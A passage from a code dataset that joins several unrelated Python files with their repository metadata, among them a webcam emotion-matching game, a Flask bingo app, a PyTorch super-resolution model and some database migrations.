"disgust": "disgusted",
"anger": "angry",
"surprise": "surprised",
"fear": "surprised" }
target_emotion = ""
faces = []
processed = False
def send_pic(img):
global emotion
global faces
global processed
img_str = cv2.imencode('.jpg', img)[1].tostring()
data = img_str
res = requests.post(url='https://api.projectoxford.ai/emotion/v1.0/recognize',
data=data,
headers={'Content-Type': 'application/octet-stream', 'Ocp-Apim-Subscription-Key': api_key})
if res.status_code == 200:
faces = res.json()
processed = True
cascPath = sys.argv[1]
faceCascade = cv2.CascadeClassifier(cascPath)
video_capture = cv2.VideoCapture(0)
pic_width = int(video_capture.get(3))
lastTime = time.time()
interval = 5
timeCount= 0
target_emotion = emotions[random.choice(emotions.keys()[:-1])]
while True:
faces = []
target_emotion = emotions[random.choice(emotions.keys()[:-1])]
lastTime = time.time()
while timeCount <= interval:
# Capture frame-by-frameC
ret, frame = video_capture.read()
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(
gray,
scaleFactor=1.1,
minNeighbors=5,
minSize=(30, 30),
flags=cv2.CASCADE_SCALE_IMAGE
)
# Draw a rectangle around the faces
# for (x, y, w, h) in faces:
# cv2.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 2)
cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1)
cv2.putText(frame, str(int(math.ceil(interval-timeCount))), (pic_width-50, 50), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 0), 2, cv2.LINE_AA)
cv2.putText(frame, "Make a " + target_emotion.upper() + " face...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)
# Display the resulting frame
cv2.imshow('Video', frame)
timeCount = time.time() - lastTime
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1)
cv2.putText(frame, "Processing...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)
cv2.imshow('Video', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
send_pic(frame)
timeCount = 0
lastTime = time.time()
ret, frame = video_capture.read()
cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1)
cv2.putText(frame, "Processing...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)
cv2.imshow('Video', frame)
while not processed:
if cv2.waitKey(1) & 0xFF == ord('q'):
break
processed = False
if len(faces) > 0:
correct = 0
for face in faces:
emotion = emotions[max(face['scores'].iteritems(), key=operator.itemgetter(1))[0]]
left = int(face['faceRectangle']['left'])
top = int(face['faceRectangle']['top'])
width = int(face['faceRectangle']['width'])
height = int(face['faceRectangle']['height'])
color = (0, 0, 255)
print emotion, target_emotion
if emotion == target_emotion:
correct += 1
color = (0, 255, 0)
cv2.rectangle(frame, (left, top), (left + width, top + height), color, 2)
cv2.rectangle(frame, (left, top), (left + width, top - 40), color, -1)
cv2.putText(frame, emotion.title(), (left,top-10), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0), 1, cv2.LINE_AA)
percentage = float(correct)/float(len(faces))
print percentage
cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1)
if percentage > 0.5:
cv2.putText(frame, "Good job!", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)
else:
cv2.putText(frame, "Try again!", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)
# Display the resulting frame
cv2.imshow('Video', frame)
if cv2.waitKey(3000) & 0xFF == ord('q'):
break
# When everything is done, release the capture
video_capture.release()
cv2.destroyAllWindows() | 31.972603 | 143 | 0.584833 | 614 | 4,668 | 4.364821 | 0.289902 | 0.015672 | 0.008955 | 0.015672 | 0.33209 | 0.314179 | 0.314179 | 0.309701 | 0.204104 | 0.204104 | 0 | 0.065975 | 0.256427 | 4,668 | 146 | 144 | 31.972603 | 0.706137 | 0.056341 | 0 | 0.27027 | 0 | 0 | 0.094816 | 0.011141 | 0 | 0 | 0.003638 | 0 | 0 | 0 | null | null | 0 | 0.072072 | null | null | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e77bd5ef109c5f7bceab6baf18a8c95d6853f90c | 6,661 | py | Python | main.py | cpressland/bingo | 0ad07bfc65727a347703373eeda088812742cece | [
"MIT"
] | null | null | null | main.py | cpressland/bingo | 0ad07bfc65727a347703373eeda088812742cece | [
"MIT"
] | null | null | null | main.py | cpressland/bingo | 0ad07bfc65727a347703373eeda088812742cece | [
"MIT"
] | null | null | null | from random import choice
from flask import Flask, redirect
app = Flask(__name__)
words = {
"1": "One Direction",
"2": "Dr Who",
"3": "Cup of herbal tea",
"4": "Knock at the door",
"5": "Johnny's Alive",
"6": "Little Mix",
"7": "David Beckham",
"8": "Golden Gate",
"9": "Selfie Time",
"10": "Boris’ den",
"11": "Stranger Things",
"12": "Dirty dozen",
"13": "Unlucky for some",
"14": "Valentine’s Day",
"15": "Your claim to fame",
"16": "Sweet 16",
"17": "Dancing Queen",
"18": "Party on Tatooine",
"19": "Time for Quarantine",
"20": "Facemasks Aplenty",
"21": "Vaccines are fun",
"22": "Scooby Doo and Scrappy too",
"23": "The Bees Knees",
"24": "It's Dumbledore",
"25": "Dobbie Dies",
"26": "She's had her Weetabix",
"27": "Bridesmaid Dresses",
"28": "Over Weight",
"29": "Rise and Shine",
"30": "Liz Lemon Rocks",
"31": "Man Bun",
"32": "Jimmy Choo",
"33": "Dirty knees",
"34": "Murder on the Dance Floor",
"35": "Jump and Jive",
"36": "New Tricks",
"37": "A Hobbits Tale",
"38": "Magnum P.I.",
"39": "Love Island Time",
"40": "Hello Naughty",
"41": "Time for Fun",
"42": "Winnie the Pooh",
"43": "Fish, Chips and Pea's",
"44": "Scores on the Doors",
"45": "Halfway there",
"46": "Up to tricks",
"47": "Four and seven",
"48": "Tag a mate",
"49": "Amazon Prime",
"50": "Hawaii Five-O",
"51": "Aliens!",
"52": "Chicken Vindaloo",
"53": "Stuck in a tree",
"54": "Grannys Drawers",
"55": "Snakes alive",
"56": "Chill with Netflix",
"57": "Heinz varieties",
"58": "Make them wait",
"59": "Tequila and Lime",
"60": "Five dozen",
"61": "Baker's bun",
"62": "Turn the screw",
"63": "OMG, they killed Kennedy",
"64": "Will you still love me",
"65": "Thunderbirds are Go",
"66": "Jedi Tricks",
"67": "Retirement Heaven",
"68": "Cathrine Tate",
"69": "Moonwalk Time",
"70": "I'm holding out for a Hero",
"71": "Fox on the run",
"72": "Six dozen",
"73": "Not the Bees!",
"74": "Recycle More",
"75": "What a time to be alive",
"76": "Ripley Saves Hicks",
"77": "Sunset strip",
"78": "Haters Gunna Hate",
"79": "One more time",
"80": "Imagine!",
"81": "Girls just wana have fun",
"82": "Electric Boogaloo",
"83": "Gluten Free",
"84": "Ghostbusters",
"85": "Staying alive",
"86": "Instagram Pix",
"87": "Walk like an Egyptian",
"88": "Will and Kate",
"89": "Busta Rhyme",
"90": "Joe Ninety",
}
def init():
global previous_numbers
global numbers
previous_numbers = []
numbers = list(range(1, 91))
@app.route("/")
def root():
try:
previous_numbers
return redirect("/play", code=302)
except NameError:
init()
return redirect("/play", code=302)
@app.route("/play")
def play():
try:
number = previous_numbers[-1]
return f"""
<html>
<style>
body {{
font-family: Helvetica, Arial, Sans-Serif;
text-align: center;
background-color: black;
color: white;
}}
pre {{
white-space: pre-wrap;
font-size: 25px;
}}
.number {{
font-size: 200px;
}}
.phrase {{
font-size: 50px;
}}
.button {{
border: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
}}
.next {{
background-color: #4CAF50;
}}
.reset {{
background-color: #f44336;
}}
</style>
<body>
<span class="number">{number}</span><br />
<span class="phrase">{words[str(number)]}</span><br />
<br />
<form action="/increment">
<input type="submit" class="button next" value="Next Number" />
</form>
<p>Previous Numbers:</p>
<pre>{' '.join(previous_numbers)}</pre>
<br />
<br />
<form action="/reset">
<input type="submit"
class="button reset"
onclick="return confirm('Are you sure?')"
value="Reset" />
</form>
</body>
</html>
"""
except IndexError:
return redirect("/gameover", code=302)
except NameError:
return redirect("/", code=302)
@app.route("/gameover")
def gameover():
return f"""
<html>
<style>
body {{
font-family: Helvetica, Arial, Sans-Serif;
text-align: center;
background-color: black;
color: white;
}}
pre {{
white-space: pre-wrap;
font-size: 50px;
}}
.gameover {{
font-size: 50px;
}}
.button {{
background-color: #f44336;
border: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
}}
</style>
<body>
<span class="gameover">Game over!!!</span><br />
<form action="/reset">
<input type="submit" class="button reset" value="Reset" />
</form>
<p>Previous Numbers:</p>
<pre>{' '.join(previous_numbers)}</pre>
</body>
</html>
"""
@app.route("/increment")
def increment():
try:
number = choice(numbers)
previous_numbers.append(str(number))
numbers.remove(number)
return redirect("/play", code=302)
except IndexError:
return redirect("/gameover", code=302)
@app.route("/reset")
def reset():
init()
return redirect("/increment", code=302)
| 27.524793 | 83 | 0.444828 | 666 | 6,661 | 4.432432 | 0.557057 | 0.045732 | 0.020325 | 0.022358 | 0.282182 | 0.264905 | 0.245935 | 0.215447 | 0.215447 | 0.215447 | 0 | 0.058281 | 0.397238 | 6,661 | 241 | 84 | 27.639004 | 0.676961 | 0 | 0 | 0.394619 | 0 | 0 | 0.689236 | 0.024171 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026906 | false | 0 | 0.008969 | 0.004484 | 0.076233 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e781adebfb42f45b3f7887c33eb51a95aeb10fb8 | 2,010 | py | Python | gd/config.py | josenavas/glowing-dangerzone | ef691aab06bf87797f3222f9e064356679ce3188 | [
"BSD-3-Clause"
] | null | null | null | gd/config.py | josenavas/glowing-dangerzone | ef691aab06bf87797f3222f9e064356679ce3188 | [
"BSD-3-Clause"
] | null | null | null | gd/config.py | josenavas/glowing-dangerzone | ef691aab06bf87797f3222f9e064356679ce3188 | [
"BSD-3-Clause"
] | null | null | null | # -----------------------------------------------------------------------------
# Copyright (c) 2014--, The biocore Development Team.
#
# Distributed under the terms of the BSD 3-clause License.
#
# The full license is in the file LICENSE, distributed with this software.
# -----------------------------------------------------------------------------
from os import environ
from os.path import dirname, abspath, join
from future import standard_library
with standard_library.hooks():
from configparser import ConfigParser
class GDConfig(object):
"""Holds the glowing-dangerzone configuration
Attributes
----------
user : str
The postgres user to connect to the postgres server
password : str
The password for the previous user
database : str
The database to connect to
host : str
The host where the postgres server lives
port : str
The port to use to connect to the postgres server
admin_user : str
The administrator user to connect to the postgres server
admin_password : str
The password for the administrator user
"""
def __init__(self):
# If GD_CONFIG_FP is not set, default to the example in the repo
try:
conf_fp = environ['GD_CONFIG_FP']
except KeyError:
conf_fp = join(dirname(abspath(__file__)),
'support_files', 'config.txt')
# parse the config bits
config = ConfigParser()
with open(conf_fp) as f:
config.readfp(f)
self.user = config.get('postgres', 'USER')
self.password = config.get('postgres', 'PASSWORD') or None
self.database = config.get('postgres', 'DATABASE')
self.host = config.get('postgres', 'HOST')
self.port = config.getint('postgres', 'PORT')
self.admin_user = config.get('postgres', 'ADMIN_USER') or None
self.admin_password = config.get('postgres', 'ADMIN_PASSWORD') or None
gd_config = GDConfig()
| 33.5 | 79 | 0.595522 | 236 | 2,010 | 4.966102 | 0.377119 | 0.035836 | 0.087031 | 0.035836 | 0.134812 | 0.134812 | 0.087031 | 0 | 0 | 0 | 0 | 0.003309 | 0.248259 | 2,010 | 59 | 80 | 34.067797 | 0.772336 | 0.457711 | 0 | 0 | 0 | 0 | 0.142006 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0.086957 | 0.173913 | 0 | 0.26087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e78424b14306bfa799fb3574d99aac50146668c6 | 7,380 | py | Python | src/model/rfdn_old.py | yamengxi/EDSR-PyTorch | c99fa78bb57f62a0a317b0875ead79b78a2cb51f | [
"MIT"
] | null | null | null | src/model/rfdn_old.py | yamengxi/EDSR-PyTorch | c99fa78bb57f62a0a317b0875ead79b78a2cb51f | [
"MIT"
] | null | null | null | src/model/rfdn_old.py | yamengxi/EDSR-PyTorch | c99fa78bb57f62a0a317b0875ead79b78a2cb51f | [
"MIT"
] | null | null | null | from math import gcd
import torch
import torch.nn as nn
import torch.nn.functional as F
from model import common
def make_model(args, parent=False):
return RFDN(args)
def generate_masks(num):
masks = []
for i in range(num):
now = list(range(2 ** num))
length = 2 ** (num - i)
for j in range(2 ** i):
tmp = now[j*length:j*length+length//2]
now[j*length:j*length+length//2] = now[j*length+length//2:j*length+length]
now[j*length+length//2:j*length+length] = tmp
masks.append(now)
return torch.tensor(masks)
class ButterflyConv_v1(nn.Module):
def __init__(self, in_channels, act, out_channels, dilation=1):
super(ButterflyConv_v1, self).__init__()
min_channels = min(in_channels, out_channels)
assert (min_channels & (min_channels - 1)) == 0 # Is min_channels = 2^n?
if in_channels == out_channels:
self.head = nn.Identity()
self.tail = nn.Identity()
elif in_channels > out_channels:
self.head = nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, 1, dilation, dilation, groups=gcd(in_channels, out_channels)),
act()
)
self.tail = nn.Identity()
elif in_channels < out_channels:
self.head = nn.Identity()
self.tail = nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, 1, dilation, dilation, groups=gcd(in_channels, out_channels)),
act()
)
else:
raise NotImplementedError("")
self.num_butterflies = 0
for i in range(10000):
if 2 ** i == min_channels:
self.num_butterflies = i
break
self.masks = generate_masks(self.num_butterflies)
self.conv_acts = []
for i in range(self.num_butterflies * 2):
self.conv_acts.append(
nn.Sequential(nn.Conv2d(min_channels, min_channels, 3, 1, dilation, dilation, groups=min_channels), act())
)
self.conv_acts = nn.Sequential(*self.conv_acts)
def forward(self, x):
self.masks = self.masks.to(x.device)
x = self.head(x)
now = x
for i in range(self.num_butterflies):
now = self.conv_acts[i*2](now) + self.conv_acts[i*2+1](torch.index_select(now, 1, self.masks[i]))
now = now + x
now = self.tail(now)
return now
class SRB(nn.Module):
def __init__(self, in_channels, act, *args):
super(SRB, self).__init__()
self.conv3x3 = nn.Conv2d(in_channels, in_channels, 3, 1, 1)
self.act = act()
def forward(self, x):
out = self.conv3x3(x) + x
out = self.act(out)
return out
class MainBlock(nn.Module):
def __init__(self, in_channels, act, basic_module):
super(MainBlock, self).__init__()
self.steps = 3
self.convs = []
for i in range(self.steps):
self.convs.append(nn.Conv2d(in_channels, in_channels // 2, 1, 1, 0))
self.convs = nn.Sequential(*self.convs)
self.basic_modules = []
for i in range(self.steps):
self.basic_modules.append(basic_module(in_channels, act, in_channels))
self.basic_modules = nn.Sequential(*self.basic_modules)
self.conv3x3 = nn.Conv2d(in_channels, in_channels // 2, 3, 1, 1)
self.conv1x1 = nn.Conv2d(in_channels * 2, in_channels, 1, 1, 0)
self.act = act()
def forward(self, x):
now = x
features = []
for i in range(self.steps):
features.append(self.convs[i](now))
now = self.basic_modules[i](now)
now = self.conv3x3(now)
features.append(now)
features = torch.cat(features, 1)
out = self.conv1x1(features)
out = self.act(out)
return out + x
class RFDN(nn.Module):
"""RFDN network structure.
Args:
args.scale (list[int]): Upsampling scale for the input image.
args.n_colors (int): Channels of the input image.
args.n_feats (int): Channels of the mid layer.
args.n_resblocks (int): Number of main blocks.
args.act (str): Activate function used in BFN. Default: nn.PReLU.
args.rgb_range: .
args.main_block_version:
args.butterfly_conv_version:
args.skip_connection (bool):.
"""
def __init__(self, args):
super(RFDN, self).__init__()
assert len(args.scale) == 1
scale = args.scale[0]
n_colors = args.n_colors
n_feats = args.n_feats
n_resblocks = args.n_resblocks
if args.act == 'relu':
act = nn.ReLU
elif args.act == 'lrelu':
act = nn.LeakyReLU
elif args.act == 'prelu':
act = nn.PReLU
else:
raise NotImplementedError("")
if args.basic_module_version == 'v1':
basic_module = SRB
elif args.basic_module_version == 'v2':
basic_module = ButterflyConv_v1
else:
raise NotImplementedError("")
rgb_range = args.rgb_range
# RGB mean for DIV2K
rgb_mean = (0.4488, 0.4371, 0.4040)
rgb_std = (1.0, 1.0, 1.0)
self.sub_mean = common.MeanShift(rgb_range, rgb_mean, rgb_std)
self.head = nn.Conv2d(n_colors, n_feats, 3, 1, 1)
self.main_blocks = []
for i in range(n_resblocks):
self.main_blocks.append(MainBlock(n_feats, act, basic_module))
self.main_blocks = nn.Sequential(*self.main_blocks)
self.features_fusion_module = nn.Sequential(
nn.Conv2d(n_feats * n_resblocks, n_feats, 1, 1, 0),
act()
)
self.final_conv = nn.Conv2d(n_feats, n_feats, 3, 1, 1)
self.upsampler = nn.Sequential(
nn.Conv2d(n_feats, n_colors * (scale * scale), 3, 1, 1),
nn.PixelShuffle(scale)
)
self.add_mean = common.MeanShift(rgb_range, rgb_mean, rgb_std, 1)
def forward(self, x):
x = self.sub_mean(x)
x = self.head(x)
now = x
outs = []
for main_block in self.main_blocks:
now = main_block(now)
outs.append(now)
out = torch.cat(outs, 1)
out = self.features_fusion_module(out)
out = self.final_conv(out) + x
out = self.upsampler(out)
out = self.add_mean(out)
return out
if __name__ == '__main__':
# test network
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '1'
import argparse
args = argparse.Namespace()
args.scale = [2]
args.patch_size = 256
args.n_colors = 3
args.n_feats = 48
args.n_resblocks = 6
args.act = 'lrelu'
args.rgb_range = 255
args.basic_module_version = 'v1'
# args.scale = [2]
# args.patch_size = 256
# args.n_colors = 3
# args.n_feats = 64
# args.n_resblocks = 6
# args.act = 'lrelu'
# args.rgb_range = 255
# args.basic_module_version = 'v2'
# import pdb
# pdb.set_trace()
model = RFDN(args)
model.eval()
from torchsummaryX import summary
x = summary(model.cuda(), torch.zeros((1, 3, 720 // 4, 1280 // 4)).cuda())
# from torchsummary import summary
# summary(model.cuda(), input_size=(3, 720 // 4, 1280 // 4), batch_size=1)
| 30 | 122 | 0.577642 | 985 | 7,380 | 4.143147 | 0.163452 | 0.051458 | 0.011762 | 0.021563 | 0.361431 | 0.331536 | 0.286449 | 0.22764 | 0.172752 | 0.153149 | 0 | 0.030922 | 0.303252 | 7,380 | 245 | 123 | 30.122449 | 0.762738 | 0.10813 | 0 | 0.195266 | 1 | 0 | 0.008286 | 0 | 0 | 0 | 0 | 0 | 0.011834 | 1 | 0.059172 | false | 0 | 0.047337 | 0.005917 | 0.16568 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e784bdd424c3f8231790a74c4c0cceee56ac71b8 | 2,811 | py | Python | mlsurvey/sl/workflows/tasks/split_data.py | jlaumonier/mlsurvey | 373598d067c7f0930ba13fe8da9756ce26eecbaf | [
"MIT"
] | null | null | null | mlsurvey/sl/workflows/tasks/split_data.py | jlaumonier/mlsurvey | 373598d067c7f0930ba13fe8da9756ce26eecbaf | [
"MIT"
] | null | null | null | mlsurvey/sl/workflows/tasks/split_data.py | jlaumonier/mlsurvey | 373598d067c7f0930ba13fe8da9756ce26eecbaf | [
"MIT"
] | null | null | null | from kedro.pipeline import node
from mlsurvey.workflows.tasks import BaseTask
class SplitDataTask(BaseTask):
"""
split data from prepared data (train/test)
"""
@classmethod
def get_node(cls):
return node(SplitDataTask.split_data,
inputs=['config', 'log', 'raw_data', 'prepared_data'],
outputs=['train_data', 'test_data', 'train_raw_data', 'test_raw_data'])
@staticmethod
def split_data(config, log, raw_data, prepared_data):
"""
split the data for training/testing process.
At the moment, only the split 'traintest' to split into train and test set is supported
"""
split_params = config.data['learning_process']['parameters']['split']
if split_params['type'] == 'traintest':
# TODO test shuffle False
if split_params['parameters']['shuffle']:
df_test = prepared_data.df.sample(frac=split_params['parameters']['test_size'] / len(prepared_data.df),
random_state=split_params['parameters']['random_state'])
else:
df_test = prepared_data.df.head(len(prepared_data.df) * split_params['parameters']['test_size'])
df_train = prepared_data.df.drop(df_test.index)
data_train = prepared_data.copy_with_new_data_dataframe(df_train)
data_test = prepared_data.copy_with_new_data_dataframe(df_test)
raw_data_train_df = raw_data.df.iloc[data_train.df.index]
raw_data_train = raw_data.copy_with_new_data_dataframe(raw_data_train_df)
raw_data_test_df = raw_data.df.iloc[data_test.df.index]
raw_data_test = raw_data.copy_with_new_data_dataframe(raw_data_test_df)
# reindex
data_train.df.reset_index(drop=True, inplace=True)
data_test.df.reset_index(drop=True, inplace=True)
raw_data_train.df.reset_index(drop=True, inplace=True)
raw_data_test.df.reset_index(drop=True, inplace=True)
data_to_save = {'train': data_train,
'test': data_test,
'raw_train': raw_data_train,
'raw_test': raw_data_test}
SplitDataTask.log_inputs_outputs(log, data_to_save)
return [data_train, data_test, raw_data_train, raw_data_test]
@classmethod
def log_inputs_outputs(cls, log, d):
# Log inside sub directory
log.set_sub_dir(str(cls.__name__))
inputs = {'train': d['train'],
'test': d['test'],
'raw_train': d['raw_train'],
'raw_test': d['raw_test']}
log.save_input(inputs, metadata_filename='split_data.json')
log.set_sub_dir('')
| 42.590909 | 119 | 0.615439 | 352 | 2,811 | 4.5625 | 0.232955 | 0.087173 | 0.047945 | 0.03736 | 0.380448 | 0.273973 | 0.199253 | 0.199253 | 0.14944 | 0 | 0 | 0 | 0.277481 | 2,811 | 65 | 120 | 43.246154 | 0.790743 | 0.083244 | 0 | 0.046512 | 0 | 0 | 0.114806 | 0 | 0 | 0 | 0 | 0.015385 | 0 | 1 | 0.069767 | false | 0 | 0.046512 | 0.023256 | 0.186047 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e78f62fb09e2bbb8eb8ee9208fe99efffe0f65df | 764 | py | Python | hackathon/migrations/0040_auto_20210225_1656.py | auxfuse/ci-hackathon-app | 87d5ad7aae33c15f535ceed28e1657a014159516 | [
"MIT"
] | 11 | 2020-10-06T13:50:46.000Z | 2021-02-27T20:19:17.000Z | hackathon/migrations/0040_auto_20210225_1656.py | auxfuse/ci-hackathon-app | 87d5ad7aae33c15f535ceed28e1657a014159516 | [
"MIT"
] | 174 | 2020-10-13T18:25:34.000Z | 2022-01-17T09:49:18.000Z | hackathon/migrations/0040_auto_20210225_1656.py | auxfuse/ci-hackathon-app | 87d5ad7aae33c15f535ceed28e1657a014159516 | [
"MIT"
] | 46 | 2020-10-14T11:27:20.000Z | 2022-01-31T17:48:12.000Z | # Generated by Django 3.1.3 on 2021-02-25 16:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('hackathon', '0039_auto_20210224_1850'),
]
operations = [
migrations.AddField(
model_name='hackathon',
name='tag_line',
field=models.CharField(default='', help_text='Short description which will be displayed in the Hackathon List view.', max_length=254),
),
migrations.AlterField(
model_name='hackathon',
name='description',
field=models.TextField(help_text='Longer description which will be displayed in the Hackathon Detail view. Usually includes schedule and other details.'),
),
]
| 31.833333 | 166 | 0.645288 | 86 | 764 | 5.627907 | 0.674419 | 0.03719 | 0.07438 | 0.090909 | 0.18595 | 0.18595 | 0.18595 | 0.18595 | 0 | 0 | 0 | 0.059859 | 0.256545 | 764 | 23 | 167 | 33.217391 | 0.792254 | 0.058901 | 0 | 0.235294 | 1 | 0 | 0.355649 | 0.032078 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e793b8c6c2db37656d49f422576a00f5c293a6c7 | 764 | py | Python | qal/transformation/tests/test_transformation.py | OptimalBPM/qal | 4d7a31c0d68042b4110e1fa3e733711e0fdd473e | [
"Unlicense"
] | 3 | 2016-05-02T14:35:55.000Z | 2021-08-31T14:19:15.000Z | qal/transformation/tests/test_transformation.py | OptimalBPM/qal | 4d7a31c0d68042b4110e1fa3e733711e0fdd473e | [
"Unlicense"
] | null | null | null | qal/transformation/tests/test_transformation.py | OptimalBPM/qal | 4d7a31c0d68042b4110e1fa3e733711e0fdd473e | [
"Unlicense"
] | 1 | 2018-03-18T13:19:52.000Z | 2018-03-18T13:19:52.000Z | import json
import os
from jsonschema.validators import Draft4Validator
from qal.transformation import generate_schema
__author__ = 'nibo'
import unittest
Test_Script_Dir = os.path.dirname(__file__)
Test_Resource_Dir = os.path.join(Test_Script_Dir, 'resources')
class MyTestCase(unittest.TestCase):
def test_json_schema(self):
"""This test will actually generate the schema for all classes in the transformation module"""
_schema = generate_schema()
f_out = open(os.path.join(Test_Resource_Dir, "../../../", "schema/transformation.json"), "w")
json.dump(obj=_schema, fp=f_out, sort_keys=True, indent=4)
f_out.close()
Draft4Validator.check_schema(_schema)
if __name__ == '__main__':
unittest.main()
| 26.344828 | 102 | 0.721204 | 99 | 764 | 5.20202 | 0.545455 | 0.034951 | 0.050485 | 0.054369 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004717 | 0.167539 | 764 | 28 | 103 | 27.285714 | 0.805031 | 0.115183 | 0 | 0 | 1 | 0 | 0.085075 | 0.038806 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.294118 | 0 | 0.411765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e79800f262cb9ba9ad9c992c22e0ce9c0d9971e1 | 2,219 | py | Python | verification/alembic/versions/398d6252cdce_baseline.py | DhivakharVenkatachalam/snet-marketplace-service | 6aee606bc9b00d418caeae26c64deae03792e0ce | [
"MIT"
] | 14 | 2019-02-12T09:14:52.000Z | 2021-03-11T18:42:22.000Z | verification/alembic/versions/398d6252cdce_baseline.py | prashantramangupta/snet-marketplace-service | 7c293054e4b0207deefecc46defd743c064472a4 | [
"MIT"
] | 1,079 | 2019-01-10T04:31:24.000Z | 2022-03-29T06:16:42.000Z | verification/alembic/versions/398d6252cdce_baseline.py | prashantramangupta/snet-marketplace-service | 7c293054e4b0207deefecc46defd743c064472a4 | [
"MIT"
] | 20 | 2018-12-18T13:06:41.000Z | 2021-09-17T11:13:01.000Z | """baseline
Revision ID: 398d6252cdce
Revises:
Create Date: 2020-03-12 10:10:15.689958
"""
import sqlalchemy as sa
from alembic import op
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '398d6252cdce'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('jumio_verification',
sa.Column('row_id', sa.Integer(), autoincrement=True, nullable=False),
sa.Column('verification_id', mysql.VARCHAR(length=255), nullable=True),
sa.Column('username', mysql.VARCHAR(length=255), nullable=True),
sa.Column('jumio_reference_id', mysql.VARCHAR(length=255), nullable=True),
sa.Column('user_reference_id', mysql.VARCHAR(length=255), nullable=True),
sa.Column('redirect_url', mysql.VARCHAR(length=1024), nullable=True),
sa.Column('transaction_status', mysql.VARCHAR(length=255), nullable=True),
sa.Column('verification_status', mysql.VARCHAR(length=255), nullable=True),
sa.Column('reject_reason', sa.JSON(), nullable=True),
sa.Column('transaction_date', mysql.TIMESTAMP(), nullable=True),
sa.Column('callback_date', mysql.TIMESTAMP(), nullable=True),
sa.Column('created_at', mysql.TIMESTAMP(), nullable=True),
sa.PrimaryKeyConstraint('row_id')
)
op.create_table('verification',
sa.Column('id', mysql.VARCHAR(length=225), nullable=False),
sa.Column('verification_type', mysql.VARCHAR(length=225), nullable=False),
sa.Column('entity_id', mysql.VARCHAR(length=255), nullable=True),
sa.Column('status', mysql.VARCHAR(length=255), nullable=True),
sa.Column('requestee', mysql.VARCHAR(length=255), nullable=True),
sa.Column('reject_reason', mysql.VARCHAR(length=1024), nullable=True),
sa.Column('created_at', mysql.TIMESTAMP(), nullable=True),
sa.Column('updated_at', mysql.TIMESTAMP(), nullable=True),
